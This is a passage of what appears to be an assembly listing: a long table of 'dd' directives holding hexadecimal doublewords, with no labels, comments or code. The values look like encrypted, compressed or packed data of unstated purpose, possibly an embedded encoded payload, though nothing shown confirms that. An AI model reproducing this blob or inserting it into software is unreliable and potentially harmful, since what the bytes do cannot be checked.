		dd 4B38B208h, 51BEECE4h, 9A62F5Ch, 363DFB19h, 0EDF63E5Eh
		dd 0F88257Dh, 4419EAE8h, 49621D99h, 897E56Ah, 7DB23968h
		dd 0C5316156h, 55A58A7Fh, 0A53C2C67h, 256B8DB3h, 60EE7505h
		dd 9FB03540h, 36F88926h, 71F03E13h, 4FCCA058h, 0E0994F3Dh
		dd 49168A97h, 5DFB2ECBh, 6160866Bh, 24B105Eh, 570E72B8h
		dd 0E9644679h, 0F32FF4C3h, 4E1E9C09h, 2FDB5418h, 2E2BE148h
		dd 0C5747A26h, 0D203D627h, 0AC615675h, 7A3D04BCh, 83C0AFF4h
		dd 5AC993CCh, 0F0DE005h, 4B683E40h, 0D994BA10h,	9B78ABFh
		dd 7D83DFE9h, 0A1202D94h, 0AF4295C0h, 84F994DDh, 0E85C5F4Ah
		dd 44F9132Ch, 5963B020h, 783F58CFh, 2C543A22h, 439230DCh
		dd 98DC883Bh, 0DA6B7309h, 0CD7C975Bh, 2B178272h, 25B04C75h
		dd 0AB1465ACh, 5025BB20h, 91C25Bh, 4D78E836h, 8101C583h
		dd 3997CD06h, 9F1277B8h, 0D8ED7920h, 0C5FA158h,	3505B920h
		dd 9003121Ch, 6FA40B02h, 5A8B4979h, 34CCFD77h, 0FEE65ABDh
		dd 0C051F32Dh, 0C27C7D19h, 0B77B21C6h, 9020C61Ch, 3BFCEA13h
		dd 0F4E95582h, 50A51ED6h, 0FEFB0F9h, 92C0D2C9h,	20E91C31h
		dd 2C37FE0Fh, 969472F9h, 885F156Bh, 0DD1EAA93h,	8C421FA4h
		dd 87F60C76h, 0F281EA01h, 0A0808423h, 2F5CE43Bh, 3598F49Ah
		dd 0C0381724h, 0A53BAA88h
		dd 79922275h, 19CF08ECh, 935375F9h, 11E7DB0Ch, 0E87E8C4Dh
		dd 0EE1DC095h, 28791E5Bh, 0BC26C097h, 0CFBE800Ah, 42E2271Eh
		dd 56E5439Fh, 0CA11C223h, 37CB22FFh, 4AD056Ah, 0C627581h
		dd 85ED64Ah, 31189B2Ah,	4FFE8706h, 1EE6FC06h, 0FB7C0474h
		dd 1EBEF603h, 90205115h, 11B12DAh, 13F6C9F1h, 35B1ACC7h
		dd 0C2BD818Fh, 36A83C4Ch, 0C16CD7ECh, 7E68AC16h, 14843625h
		dd 0C8A69F59h, 0FA5A1230h, 0F3D35767h, 0A2594EC7h, 0F02C7053h
		dd 9FACC85Ah, 680B7E10h, 0B9D30D8Ch, 51B7B4Bh, 0A0DA44B6h
		dd 4E40BCF3h, 23E702BAh, 0D2F7165Bh, 5F039DD4h,	13D6C06h
		dd 7953A9D8h, 90D629CEh, 4C7A3E78h, 87008151h, 8111BE14h
		dd 5C7AFDF7h, 0DF4A4990h, 285E6BF0h, 1A54463h, 3DDE211Eh
		dd 93D666E9h, 83EEC1DDh, 28E15F9Fh, 4BFC237Fh, 740CCFFFh
		dd 6BCC805Eh, 11D9694Ch, 6AB3F95Fh, 746500FBh, 98E93233h
		dd 2F178B56h, 100071D2h, 138E4C3Ah, 8EA757AAh, 3B996809h
		dd 5595BA64h, 0B5C5A93Eh, 0D2E817C8h, 0A0191396h, 543FBFEEh
		dd 317F1226h, 0C99107AFh, 354F7288h, 70189080h,	0D11C4BFBh
		dd 0ABE8F7E1h, 0CF60D407h, 0DE964E74h, 0B380C304h, 3676DF0Dh
		dd 162585F0h, 0A80DC4Bh, 0CB6440D6h, 0C99FE1F5h, 0C22D7CC6h
		dd 6B663A27h, 346814A1h, 9712B86Ch, 82FA9379h, 0A4E45E10h
		dd 46F6A424h, 7177188Bh, 7307BA69h, 65E97FECh, 0FB7888CBh
		dd 0EC66C13h, 0C805B7A9h, 82D0D586h, 1ADAB5AFh,	9CD5C75Ah
		dd 0E9ED30FEh, 25C1A4AEh, 61E1BA52h, 552069FDh,	0CB9E1623h
		dd 7F73AC96h, 54516809h, 78ED29EEh, 48452610h, 66AD0207h
		dd 2061C533h, 2C0103AFh, 0AD7F3482h, 0C5EB7CD6h, 0E9510592h
		dd 5B4192E2h, 8BFFEAD7h, 0C72F558Ah, 41887C48h,	33C02D51h
		dd 5881FB7Ah, 3FB6692Bh, 466852D0h, 6023B66Ah, 4FE0875h
		dd 65D6E497h, 0C00B66D7h, 0F0050701h, 70BE7398h, 0AFE40D17h
		dd 196609F2h, 9FF6096Eh, 7A3A103Fh, 7C9E9150h, 8118014Eh
		dd 1A0149E5h, 0FC836032h, 0F3E6E21Eh, 0E8289060h, 0B3683404h
		dd 0BAB7EF96h, 765CE90Dh, 7E990073h, 443CA322h,	7F6285Eh
		dd 36E95D16h, 0B85FA04Ch, 7D74249Ch, 4D11A6Ah, 47C87F80h
		dd 0F1EC055Bh, 0BFA18D0Bh, 4CFB0471h, 0C1C38005h, 2955E233h
		dd 0A0AE93E3h, 0EDAA3DE9h, 0B3949207h, 1EDA3E93h, 6813DDF0h
		dd 18A67003h, 0EF1AB004h, 83006459h, 6CB57CD2h,	63472FE9h
		dd 321BA618h, 0A5741D2Ch, 0BE025510h, 622015D3h, 255E45Dh
		dd 8F7DE09Ch, 5C575A56h, 55420923h, 8309B003h, 1CC5A701h
		dd 1629A9Ch, 4474EAF3h,	4E32EE2Fh, 89724559h, 651DFFCFh
		dd 0B25AD54Fh, 0E05B54F8h, 0E3B41A57h, 27D2542Fh, 0DBF8815Ah
		dd 76413C5Eh, 26991BBFh, 3310EB2Fh, 391C6008h, 0B0208A74h
		dd 8ACC9F36h, 4A5F2A20h, 0F273D166h, 0ECEF0458h, 0F604B2F6h
		dd 9D0424Fh, 0D7543A57h, 0B1888EF9h, 0E568064Eh, 0CE601526h
		dd 880D58CDh, 6BDC2E09h, 1FEA8C5h, 106737B9h, 7C44AF68h
		dd 7444DFFFh, 26F112B6h, 83BF423Bh, 9780E302h, 14355AD0h
		dd 1244503Dh, 0C5ECC301h, 0EB030AA4h, 95760B9Fh, 0DAEE1CFCh
		dd 6DD8D50Eh, 5B120191h, 3C82BC04h, 2A68861Eh, 21F8D13Eh
		dd 0D7EB3BD6h, 0A0CBB51Fh, 0FA7788FFh, 0C1B70426h, 36AC8069h
		dd 0EC344A40h, 25CB7BEFh, 4B7E38E2h, 6628A720h,	0E6899E02h
		dd 0E80845EBh, 94821096h, 756D2A60h, 89242EEEh,	441265DAh
		dd 0F9906DA2h, 274C0F05h, 2105C765h, 84792F62h,	442B9C0Ch
		dd 339A7681h, 0B51AD46Ah, 0EABAEF17h, 3AC9E1A2h, 405C9A7Dh
		dd 0C0C8C796h, 1A23EF8Bh, 585B7667h, 0E4920AA2h, 2B4A284Eh
		dd 2450D0B3h, 0FD40264Bh, 80BB0933h, 47013BF9h,	4A1B684Fh
		dd 13E2F32Bh, 12BCAA36h, 263AABA1h, 4C4609E1h, 99DDE6Dh
		dd 8E8A7C99h, 87AAB09Eh, 3A5E9C2Fh, 80CD294h, 1FE41E5Ah
		dd 0D3655469h, 0EB3904F8h, 516604B3h, 0B4C761A8h, 851CF2DDh
		dd 0CD39D655h, 5CBEF80Dh, 25EE229Fh, 0D3EE0F44h, 0CD643849h
		dd 80818440h, 332473Ah,	84F28A08h, 2CFB5807h, 295A07DAh
		dd 651004F3h, 0F75F252Dh, 0E98A3CC7h, 5889D9E8h, 6056129h
		dd 951313A8h, 0A73ACB79h, 0B0C27F5Fh, 0B725CBC4h, 9DC75DEEh
		dd 46FE018Ah, 0F5B7590Bh, 0EC4E6266h, 0F7FE8E12h, 3C5CC6FCh
		dd 658CBAC9h, 0FE664FEDh, 74908DA2h, 6C370996h,	0FAA482F9h
		dd 55D5F761h, 98FE8B6Eh, 9791BEC7h, 0D851055h, 7742D73h
		dd 0BF1AFAFCh, 8C405590h, 0C87D6BBAh, 1703C2ECh, 296E787Dh
		dd 81C41DAh, 16141CA0h,	0CA6D14E9h, 8FBA4B25h, 501A1612h
		dd 1F302CFAh, 27AFC25Ah, 7D6A93ECh, 56D6B72Fh, 385D2FE3h
		dd 84BA5267h, 7EFDE912h, 5C8972E8h, 0D2B5CCDFh,	5AF3BA19h
		dd 7356AEC6h, 5B2C01BFh, 0C53E847Bh, 0EBDAFA8Dh, 85E4E913h
		dd 54C043Ch, 0DF74F872h, 687140C8h, 370102B9h, 4DF4D1Bh
		dd 92834283h, 1C25F792h, 0E905C081h, 2FEFDEE2h,	0ECB63F69h
		dd 291C7A44h, 0D8D25EF3h, 0B8FC85EEh, 133F2A3h,	694215E9h
		dd 16971262h, 0F910ABA3h, 0B3530B73h, 415B8774h, 57CEDCB2h
		dd 0D395BA64h, 4C75250Fh, 0CA6834F6h, 467C821Fh, 4A2DCA4Bh
		dd 8BD122EEh, 0F0D9DF90h, 5843CF6Fh, 166D0D1Ch,	0B842025Dh
		dd 0C26F696Fh, 0AE4AF777h, 8A5F3644h, 0DEBF8912h, 45BE139Fh
		dd 0F7F498FBh, 449C5E5Bh, 0E3B74FF8h, 0C8691070h, 0EA7C5B27h
		dd 0D9526A1Eh, 57893F0h, 3164B15Ch, 9897BACDh, 6EADA0B4h
		dd 9940F948h, 961418FDh, 0B850737Eh, 30253EF2h,	6B49FF78h
		dd 6EAE595Fh, 0A770ECCDh, 6C0B62EEh, 387CD387h,	2232603Ah
		dd 4C0CFA12h, 0FE27484Eh, 18A151A0h, 59D79A6h, 80BC647h
		dd 0C2F47C5Fh, 5002A79Fh, 45A0F556h, 1DBE5A47h,	0E85AFD74h
		dd 0D8B8F700h, 2942A22Dh, 6BDFF029h, 2D739200h,	4B98197Bh
		dd 80B74571h, 918792C1h, 44715AE9h, 0B05DEEE8h,	5513609Dh
		dd 92BC4B32h, 0A617401Dh, 111C36C5h, 4E141DD0h,	9F1E9786h
		dd 0D9573F4Ah, 0C54C487Eh, 0C8FDB802h, 815BAE87h, 8B21DABBh
		dd 0D5AD603Dh, 0EA25C4FAh, 524C8529h, 17C57BA4h, 0B2C1DBFh
		dd 8084FDA1h, 8C39AE6Eh, 0D13A8442h, 3F9E899Eh,	9D02A32Bh
		dd 0F70BFB97h, 70A97F80h, 591A60BBh, 0F7CBE831h, 22B0BAE4h
		dd 0FAE60D27h, 0AB505F43h, 5DC80332h, 68705DF6h, 0F35B4F64h
		dd 125ECB58h, 0F7A1F70Dh, 266BC568h, 3AE6053Ah,	1DBF318Bh
		dd 5B4C0203h, 2058DEE9h, 7B32D59Dh, 9D5C4ED5h, 43051000h
		dd 265F7618h, 7128F84h,	4A94CEAFh, 748BF9F9h, 50BD4470h
		dd 75643897h, 20CABB4Ah, 8460162Fh, 760F94BEh, 6B574F56h
		dd 5D1FA9F1h, 0DED7C340h, 0F8298B12h, 95BAC6E4h, 3068C901h
		dd 53983B28h, 0C1710555h, 0A886E953h, 22894D3h,	78222F40h
		dd 1C2DA4Dh, 73AC2D3Bh,	2006E5C1h, 1E27C416h, 8E482D97h
		dd 0AB4AFB62h, 4EE07E54h, 58C418FFh, 93F11767h,	0C1D1EB9Ch
		dd 8804729Bh, 29FE7B38h, 8BC2FE9Fh, 6A7213CEh, 0B01610A3h
		dd 41E228A0h, 885C25D4h, 2C1680Bh, 520E8B66h, 0D2B0EFB2h
		dd 886A03BEh, 0C4858C2h, 0BCFA208Ah, 98680619h,	0E7E15130h
		dd 1FC1A4Bh, 0A9B92F12h, 60BBCF8Bh, 8125AF5Ah, 46923EF3h
		dd 7FE91A0Fh, 0DEBA1D70h, 5D2C5449h, 87429A9Ah,	2AB08241h
		dd 0E96E3CFBh, 9C00494Eh, 0EBE355Eh, 0C4455F8Dh, 0B1A9AF8Bh
		dd 5E06ACC1h, 4C73C37h
		dd 40206BA7h, 2BF202FEh, 6EE0612Ch, 0E25B76E9h,	0F2219540h
		dd 2552DEF0h, 6185A5Fh,	4E8154A0h, 0CEC3E46Ah, 0CB7DDA0Bh
		dd 0FED10155h, 75E2CF7Fh, 0CAA4E95Eh, 0CB458900h, 82CE013Ch
		dd 0B8590804h, 0E0B45EBCh, 0E90E402Ah, 7660FB2Dh, 0E384E9A5h
		dd 0C50B1201h, 0C85A2Dh, 2A9F255Eh, 6DE97FD7h, 0ACF8AA4Fh
		dd 11DACBC6h, 0ED2FCD7Fh, 928E4E69h, 6B21B19Eh,	79073FDCh
		dd 0F7C34824h, 0E80D4F4Dh, 289CB1ECh, 619BA58Bh, 0BBA9AD5h
		dd 0EB36AF80h, 81837EBDh, 486E4FE6h, 0A884EC77h, 55C517CBh
		dd 0B8CC15E2h, 15A5E910h, 3C2F5E3Bh, 0F4AC5D41h, 0D80428A1h
		dd 8EB6866h, 9FB316EAh,	72E9097Bh, 691BFC63h, 0DC208789h
		dd 3E14CC05h, 0BFA4754Ah, 8610000Bh, 0B5C98162h, 334ABD4Bh
		dd 5EF7C5A0h, 72F5E8D9h, 0C3823D30h, 3E6E5FC3h,	0D4A56FC4h
		dd 5A505BE0h, 604A8FEEh, 75846F24h, 0C267E7BEh,	758F56E9h
		dd 7035551h, 0EA648B03h, 1861DCD3h, 8F2C764Bh, 9C9F20Fh
		dd 54B9C5DFh, 0EDA664FBh, 0DC985B65h, 9D66B27Ch, 3E42FD7Bh
		dd 0C1867C15h, 0BB2CD768h, 0C4A82D1Fh, 1420F985h, 4C73B0DDh
		dd 35065DB8h, 54248E0Bh, 6E100C03h, 41F90126h, 1CA0081Ch
		dd 9ED9BF14h, 4FEABE13h, 23665027h, 0C09768BDh,	164C2D00h
		dd 2D1C9A60h, 8FEC2BC2h, 72731B00h, 2533E93Ah, 77A5D9DDh
		dd 0FF587205h, 3017E3E4h, 0C60C6756h, 29F00578h, 0EF5B7E98h
		dd 0B7D1F520h, 44DE5A42h, 407F4BDDh, 0E60720F5h, 8B579551h
		dd 0E5440098h, 4EC32FD2h, 0E1748813h, 0FB0C6F04h, 9905EB01h
		dd 0B0AA36Eh, 82D57207h, 0D561F23Eh, 0EAFFFD1Ah, 7F3F4A74h
		dd 814955C5h, 0C21466DDh, 67D94630h, 91F739CFh,	7053830Bh
		dd 7F2840AFh, 0E704A09Dh, 6A066488h, 60C493C1h,	6F7A720h
		dd 18E94ADAh, 5C58565Dh, 0BF251768h, 0F512C8EBh, 4F5EAEF8h
		dd 36026201h, 0A83B428Ah, 68578089h, 4CEB0B3Dh,	2B85A515h
		dd 44CEABE1h, 0A7F0FB24h, 56A14030h, 1E64B896h,	0D02060A1h
		dd 916814D8h, 1AD48842h, 0C647210h, 6C1CE80h, 0DEF60651h
		dd 1002EEC0h, 0C65C657Eh, 38F52658h, 59EE30C1h,	5AF9F0CDh
		dd 0E97B8D35h, 0FF5B2CA7h, 0D088F582h, 7F062E4h, 0CF55E9E9h
		dd 41888AFBh, 6CB36BE3h, 62DC184h, 0F204DCF6h, 0AD424A83h
		dd 0FD50CB04h, 98EF588h, 0B0F5C2DBh, 0A8B11A53h, 473EDEEh
		dd 29063813h, 165EC4C5h, 0C317BE08h, 8F022FACh,	5B4FF46Ch
		dd 0D3C533DCh, 8B764B08h, 6B553558h, 28455F3h, 44CBE108h
		dd 0C7E4D050h, 0CF09B5DFh, 20F95D9Ch, 0AED5A54Fh, 0B1E921AEh
		dd 0DBF5C218h, 0FF72537h, 5AE9C386h, 530008Ch, 57E2AE84h
		dd 97F8C289h, 2918E565h, 1B00EE8h, 3ECD51CBh, 988989A4h
		dd 0C05798B4h, 61FEC7F2h, 281C0AC4h, 0A7A228E3h, 413CC3E2h
		dd 0EE0573C5h, 0DBCF4390h, 1D3D2413h, 3FFF0EA6h, 525D9D29h
		dd 0B2E973ADh, 4C3127B1h, 474036F1h, 0B7F76840h, 0E92DB1C6h
		dd 0A0758F95h, 1A3F58E2h, 0FA9C5Eh, 0DE230BEEh,	6727E97Eh
		dd 0D2955612h, 920B4B5Dh, 0D0CE5749h, 3F007D97h, 4260AAEDh
		dd 91BB364Eh, 2E8B68D5h, 0F502998Dh, 5F45358h, 21310A68h
		dd 2513612h, 1E00615Bh,	0C2FAF63Ah, 0AF1E9768h,	0FA82931Fh
		dd 2540A2Ch, 6D8A2011h,	60A8B2C3h, 0D7982A9Eh, 0B3262091h
		dd 0D3C10516h, 14821F10h, 68B3535Ah, 0C1F142DFh, 0E9052911h
		dd 0F281C732h, 20B42B60h, 0BD5A5F68h, 5D8587DFh, 0CA297A51h
		dd 1029CB2Fh, 54513A95h, 2F5910ECh, 0B67E6A2Ch,	0E2C08C80h
		dd 7DEA8003h, 3A5770F6h, 5B4C04D0h, 0FB079585h,	9213EE64h
		dd 92E9AAFh, 5FDF47E9h,	694EC390h, 0F6BF4AEAh, 35AB0C90h
		dd 267D1E1Bh, 10DA0132h, 37E902C2h, 1AA790A9h, 0A7BE8A84h
		dd 405563C1h, 0CC2EF1B8h, 0CD892716h, 7310A9A6h, 9BBA027Bh
		dd 803BB266h, 916BE7A0h, 35599502h, 1650590Bh, 6BD1F43h
		dd 4D38491Fh, 33CC9080h, 0D89D1314h, 4ECA906Eh,	3E98E192h
		dd 7EF183F8h, 0D6DD3E0Fh, 8B385BEDh, 0AE61B712h, 1378A20Dh
		dd 0C6C6430h, 892AADF3h, 104FD91Ah, 177A9B9Dh, 5ED3F96Dh
		dd 0B7A67995h, 0A76C719h, 2C946A2Dh, 0F56422BFh, 1345A4DEh
		dd 0EA7C12EEh, 5FC2BE82h, 0CC0DDF8h, 76A838B2h,	0A8EA5101h
		dd 0FAD59814h, 0E836080Bh, 0E1306D3h, 0D3F70F37h, 3E04DB4Dh
		dd 0EC535CF1h, 0A0204A07h, 1B4B631Ah, 0A4935BF6h, 9E4F6954h
		dd 71AB3756h, 2A8B4Eh, 1319BD55h, 837F53Ah, 290BE8F6h
		dd 3516F7FBh, 5585B2CCh, 0F9054BD0h, 7D4669B7h,	929C2A5h
		dd 2C7F2DEFh, 255A49CFh, 2C499368h, 4B7FA4D5h, 2830AD03h
		dd 2604DF4Fh, 724531ABh, 9ED96B65h, 9E0979E8h, 55676066h
		dd 1AB83231h, 0CEAA9D09h, 0F610D5CDh, 3D5A08E9h, 0ACD2CDE9h
		dd 0D638519h, 221D275Eh, 924E4727h, 928EEF8Bh, 1785A525h
		dd 0E00A16BEh, 274AB7CAh, 0EB84FAB9h, 6CAAB05h,	3EA4E63h
		dd 0D1E961F9h, 0FD830542h, 0B755CD16h, 2E835551h, 5204858Fh
		dd 0E3E8C0E9h, 2C277996h, 0F6F46E6Fh, 1768B6F6h, 66B7435Ch
		dd 421773D5h, 998DEE4Ch, 1985E27Ah, 0CB8FD10Bh,	0BD5302DCh
		dd 48890BF1h, 5CA5FC0Bh, 0F98B03B3h, 0F4599071h, 2E582646h
		dd 0FEC00317h, 0EBE07537h, 7C273082h, 0F5734220h, 406BE2D1h
		dd 0D7D035Ch, 7BE7FEDh,	0C2E08F0Bh, 2953DF75h, 80456F1h
		dd 37EDBE00h, 97444303h, 88205FAh, 0AC208E79h, 0EB603C41h
		dd 0AEA8328h, 3C6204C2h, 9AEB1FC0h, 4CD8C048h, 181A3106h
		dd 873F206Fh, 52F87BDBh, 1454054Ch, 2FB548DCh, 5A7F44CDh
		dd 5E00DE51h, 256D41BEh, 0E1687A45h, 0AA8B7AF1h, 0E183413Bh
		dd 37682EE7h, 9DC4C1EAh, 74493BF0h, 3298779h, 0D22FADBAh
		dd 0F6811F3Dh, 7926C0D1h, 10C3BF57h, 93C7E3Dh, 2E29E9E7h
		dd 0E4D98E99h, 508CD7BEh, 0E313F20Ch, 0EC96742Eh, 5EC158E2h
		dd 0A6FFDFC5h, 1CF90E7h, 47EA6926h, 28A0D629h, 725A4C08h
		dd 2BD841D3h, 430B9721h, 8B45FBA6h, 0C6E92EF1h,	215B1632h
		dd 97331CDDh, 2A89B959h, 0AA6C5592h, 128154B5h,	0FAB3BBC7h
		dd 0B9065A13h, 91671089h, 7003A74Ch, 49746546h,	7A366CE1h
		dd 61685930h, 4CD9953Dh, 0F842C1C3h, 59E96F0Dh,	5225DBEBh
		dd 69A42A6Fh, 0C42D7AEh, 66C0A06Fh, 0B84FF2BDh,	8E43C13h
		dd 0E9EB3102h, 0C3A46927h, 0D30ADCF8h, 32425D5Bh, 82626BB0h
		dd 7E3042A0h, 47CC9758h, 3EDB7F4h, 0D8805BF8h, 30547C68h
		dd 7EFFB66Bh, 0E9CEDEB2h, 0E78A8724h, 0E0C55E5Ah, 5F4FCEFAh
		dd 0A3D20DE2h, 0BE56007Dh, 3C400E76h, 752120E9h, 2243529Dh
		dd 409D2718h, 0BB077EB1h, 494800F8h, 0E1C11485h, 978F89Fh
		dd 34623045h, 0DD048B7Dh, 4B3F45E0h, 54838925h,	0F0D613C2h
		dd 41B55F2Ah, 54852A2Dh, 0BB41C480h, 30DC7CC0h,	0B2EDFCF4h
		dd 3245763Fh, 2D0C331Bh, 5C4E957h, 0F930C83Ah, 0AE3852B5h
		dd 0BA7E4D33h, 5488BA02h, 938E3B53h, 82E04FE4h,	0FB78FBB8h
		dd 0D1895B27h, 60E962EBh, 0C23B137Ah, 436E18B3h, 2566230Ch
		dd 0A660DA97h, 9DAB4830h, 4727E7F0h, 5BC70AC3h,	3FFCF9ACh
		dd 0DF235D6Eh, 0B8F72F33h, 49866840h, 8D816E7Bh, 6F723326h
		dd 0BE3E31A1h, 0B8508E40h, 74E111F7h, 0F8D84B7Fh, 55419D0Dh
		dd 9537CB14h, 25CCD5F5h, 88212E32h, 0FD5E084Fh,	2C4EDC25h
		dd 1BDF03F5h, 0AA0440A7h, 296F4462h, 0A37E0DA8h, 141C4108h
		dd 0F6412749h, 2D0227C1h
		dd 688D2177h, 8F377365h, 0F069402Ah, 0A30A4A1Ch, 5A8504EAh
		dd 8BBF21B8h, 1D90100Ch, 39EF800Fh, 4A6EC805h, 13AE4B9Bh
		dd 9CB1FEBh, 2D5677FEh,	0FE25C47h, 0A5C475AFh, 0A9580C26h
		dd 0FF20E252h, 5DA778C5h, 9F01E394h, 0E9715B1Eh, 0EE05A468h
		dd 3A0C1080h, 124B5F8Fh, 0B9D11285h, 8ACB5F30h,	67442A7Fh
		dd 50533D2Ch, 8C589D17h, 844A7830h, 4422CDAAh, 90E1EED1h
		dd 48D7320h, 0E9250E09h, 3CFA5235h, 4A34E9F8h, 0BCEB4EE7h
		dd 80B823Fh, 1F6D41Fh, 4FCD3F2Ah, 77067F31h, 1E534820h
		dd 9F027BEBh, 0D2681E4Ch, 0E2EB937Eh, 0BE8530Eh, 60E89331h
		dd 18D7ABB7h, 0B496E90Eh, 8BF62772h, 8028AAEFh,	0F97F8A5h
		dd 0C8109C05h, 30A340DDh, 6AE93E01h, 3109F09Ch,	0A2AD89EAh
		dd 775B669Ah, 0CEFE5D82h, 7BB8B241h, 3884E4A9h,	0C95E0AA1h
		dd 0B02D549h, 0B1007751h, 0B7C1284Ah, 0DF136Ah,	977065DDh
		dd 4DF953Fh, 2A81F55Bh,	0E2701EA9h, 0E1C080BEh,	0C1800809h
		dd 442E769Fh, 0DD2D0068h, 9519336Ch, 0C412D6D8h, 7167970h
		dd 0CE682503h, 0B3AE8558h, 0C1B9C69Ch, 45E93D33h, 9419E94Bh
		dd 0A8904EC8h, 0B552C5E9h, 0E8A53379h, 0B725B38Ch, 72C2579Ah
		dd 82DD8529h, 61B4F6h, 87F38059h, 0A9D98828h, 0FD7A507Dh
		dd 8DBF406h, 7EE458E1h,	0F6683C7Bh, 8622EACFh, 5DB8914Bh
		dd 42BE797Fh, 94F7AD01h, 0EEF4E1C5h, 0B0C9B5A5h, 45132A35h
		dd 0C921F3AEh, 4C864C58h, 3A16FF52h, 71A2C9EBh,	7DB57F9Eh
		dd 7216B03Dh, 69F68D84h, 0EEE53A44h, 58ABD69Bh,	9DF0C25h
		dd 0F131C425h, 70519FDBh, 1678320Eh, 3CFE534Bh,	0F3508119h
		dd 21145913h, 18E81C5Fh, 0F36FDC3Ah, 8121206h, 3316FA07h
		dd 3086EFA9h, 357E28BAh, 7D01524Ch, 622EC57Ch, 0D892C74Dh
		dd 8B92F5B2h, 40BC2DAFh, 0B7FB2180h, 0E9C1DEF1h, 0C248A8F3h
		dd 2D7BC066h, 68B84F76h, 0E0BE2EAh, 8016DDDh, 0D13A0737h
		dd 96D82B11h, 0FD4C4B46h, 855ECFA3h, 0D337D253h, 1A22298Fh
		dd 0C4CDF52h, 0D91D932Fh, 0A32EB20Eh, 9594F8h, 141A113Eh
		dd 2649839h, 0C6EBE5F3h, 4E05D101h, 0ABF797EAh,	0D45EB904h
		dd 0EE28BA21h, 3C39614h, 0DCB27EB3h, 0F65BDA80h, 6CBFFBE7h
		dd 0DD4CF71Ch, 19520603h, 3F0C64F8h, 0E1ADE3B6h, 8E4D07F2h
		dd 4941130Ch, 0F820F5AFh, 6243BAFh, 0E510C1B2h,	0B3F28004h
		dd 0D03DC104h, 0F1F2D32Ch, 664D9C51h, 0C23B7DE9h, 70DFEA52h
		dd 9A04B0F4h, 4D390BDh,	2A1F64C7h, 641FBA4Bh, 4EBC73D2h
		dd 7803E75Fh, 9F35CB5Bh, 55E92130h, 6834C0B2h, 125D3D52h
		dd 135E42F4h, 0C780F6A8h, 1B80E6AAh, 0B14D557Eh, 8CBF3A75h
		dd 22516C24h, 4D48162Bh, 4CF9B807h, 0A0672066h,	2D766AE4h
		dd 0ED4623Dh, 6B87163Fh, 0F3880947h, 0B93B612Bh, 0BE27F4BEh
		dd 1F50FDEAh, 215FD3FAh, 447915CAh, 7E9DEE5Dh, 13581F74h
		dd 5F37401Bh, 0E744D805h, 0D3FB16C4h, 0A6649EA7h, 0A0AB1229h
		dd 8107EADCh, 4F03D0CAh, 0A12F0019h, 2793EE58h,	1170F5E9h
		dd 0F065549Fh, 3B5427E9h, 7E13F5F7h, 0C9EAEA20h, 5B5A203Eh
		dd 10F8ED4Fh, 0ECC11FA4h, 5B006B0Fh, 3803114Dh,	3C5EBA02h
		dd 0FF312762h, 0CA601CF9h, 1AF07394h, 0D2D2F767h, 3503348Bh
		dd 7FD8A3B8h, 3F01BB5Fh, 0E90F02B5h, 8A326033h,	411FCA54h
		dd 0E2C492B7h, 0E82D3883h, 0B4667725h, 9007205Bh, 17F2509Eh
		dd 0D49F4A6Fh, 0BEB1FEDAh, 6AF0EDh, 3BCBE6Eh, 89505A36h
		dd 0E29040E9h, 50118816h, 57C37B0h, 2917A3ADh, 304704D0h
		dd 0A89116E3h, 860083E2h, 0C64880DEh, 70F825B1h, 94DD956Bh
		dd 3FB20F62h, 0F646E280h, 510404D2h, 88CCB050h,	7668A7C2h
		dd 5D7B2728h, 0DE380E9h, 0BD1BFC73h, 0D87F0DC2h, 62BA0B4Dh
		dd 0E8D035ACh, 0A5C5C095h, 7980125h, 67DADBBFh,	0C25B70F8h
		dd 7F40D082h, 43C59D7Bh, 90DD692Dh, 4FF6D664h, 0CFAA8D3h
		dd 3A287AC3h, 0F74740FCh, 0EFB540F9h, 0D31A615h, 1B661E29h
		dd 0CF81AF04h, 91404106h, 602C70AEh, 1D8F0C5Ah,	68BD57F2h
		dd 7D68E768h, 0C5F603Ch, 47583D27h, 0C7D78724h,	0E85BF010h
		dd 0EDC116CEh, 257AC4E0h, 2100C630h, 48EE031Ch,	170B3E90h
		dd 5D23E857h, 0EEC12E05h, 54EE5549h, 0A4E9D01Eh, 8131364Ah
		dd 350059F1h, 6FC21F6h,	0A6098290h, 8E6B371Dh, 195A878Bh
		dd 0B4CDC0EEh, 27520B07h, 64DCD5F7h, 81E8E4C0h,	0FD3120AEh
		dd 0A26CAD2Fh, 0E02AC704h, 0DD5CA3D9h, 383685A5h, 0F9F00FC3h
		dd 2C08C10Ah, 0F6634220h, 7E13F70Bh, 0D64A18D2h, 932E7040h
		dd 0F5801B5Bh, 0A0691745h, 11D84D0h, 0D8310AAFh, 30C5015Bh
		dd 0F9DB645h, 6C893DDBh, 0BE72252Fh, 0ECDDB1BBh, 8BA93AA7h
		dd 1CB76DCEh, 7F255843h, 7E4B0B45h, 0EEDEC268h,	1F9ABE00h
		dd 228F777h, 0A2313313h, 0C8F22566h, 1290EF6Bh,	0A8CECA0Fh
		dd 0C7B04BFFh, 6412414Fh, 0ED078157h, 288973BFh, 1D3E4DEEh
		dd 5352D36Ah, 9F4E8AD9h, 0FB1A5952h, 18585DA0h,	68C1A7B6h
		dd 0FE2C699Ch, 92D0F996h, 0E8EE8484h, 82C5E4FEh, 6621D6EBh
		dd 89D2E92Fh, 0CB1F548Ah, 31629359h, 0ED1D68F3h, 2FDE9902h
		dd 3425A1F5h, 77E2C830h, 57607879h, 95264E68h, 3F20E419h
		dd 9BE0C18Dh, 41F4AA3Ah, 0B20C66ECh, 4B51FA24h,	0F7C95E18h
		dd 0AB652DACh, 0D34044E2h, 5FB878EAh, 27C4295Fh, 7BA954B8h
		dd 0EB31A2DCh, 778A8105h, 0FA6803BCh, 0DF7EC97Dh, 0F66FAB6Ch
		dd 49320D87h, 9510DA68h, 0FB48B9B1h, 0A67AF42Dh, 0FF203ECBh
		dd 1E3EC05Ch, 0B5BF5066h, 0BA754Ah, 0D1350301h,	0E4C2B63h
		dd 1E0533E1h, 9CA43CD3h, 0FA02BDA5h, 5DFE5Ah, 5152D893h
		dd 12DD7288h, 0AE65E9EAh, 575A3032h, 0E9E1F0D1h, 4FA8C959h
		dd 3382F7Dh, 29429E54h,	0C3AA7CC2h, 1AD247EFh, 0AE6ECE0Eh
		dd 604FDE7Fh, 72432B2Bh, 0EC0882D4h, 0B8145F74h, 0FE662FACh
		dd 5558D019h, 61FD9BDh,	70784D40h, 4EF9F207h, 0E2600D4Ch
		dd 4CD2021Bh, 1D3B1F77h, 31171002h, 2FD05BDAh, 271E4B20h
		dd 2A74EBD1h, 7010892Ch, 0D830AC0Bh, 0B4FD2CA9h, 145E75h
		dd 6EC1BF91h, 39902FD0h, 105E6508h, 2A2E0203h, 405FC8BCh
